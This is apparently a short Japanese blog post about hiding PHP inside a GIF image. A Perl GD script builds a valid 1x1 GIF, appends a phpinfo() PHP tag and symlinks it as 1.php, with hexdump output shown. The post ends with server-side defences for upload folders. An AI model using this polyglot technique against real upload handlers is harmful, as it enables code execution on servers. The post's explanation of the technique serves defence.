gifにphpをしこむ

ということで

これを参考に実験 ってこれはPoC公開?

use GD;
my $img = new GD::Image(1,1);
my $white = $img->colorAllocate(255,255,255);
$img->transparent($white);
binmode STDOUT;
print $img->gif;
print '<?php  phpinfo()  ?>';

これをファイルなり CGIなりで 1.gifを抽出

% ln -s 1.gif 1.php
% file 1.gif
1.gif: GIF image data, version 89a, 1 x 1
% file 1.php
1.php: symbolic link to 1.gif

して

すると…
あ〜

00000000  47 49 46 38 39 61 01 00  01 00 80 00 00 ff ff ff  |GIF89a..........|
00000010  00 00 00 21 f9 04 01 00  00 00 00 2c 00 00 00 00  |...!.......,....|
00000020  01 00 01 00 00 02 02 44  01 00 3b 3c 3f 70 68 70  |.......D..;|
0000003f

こんなかんぢ
WebServerは

  • ファイルの中身チェック
  • 拡張子チェック
  • Uploadフォルダを直接見せない or Uploadフォルダでphpを許可しない

等が必要?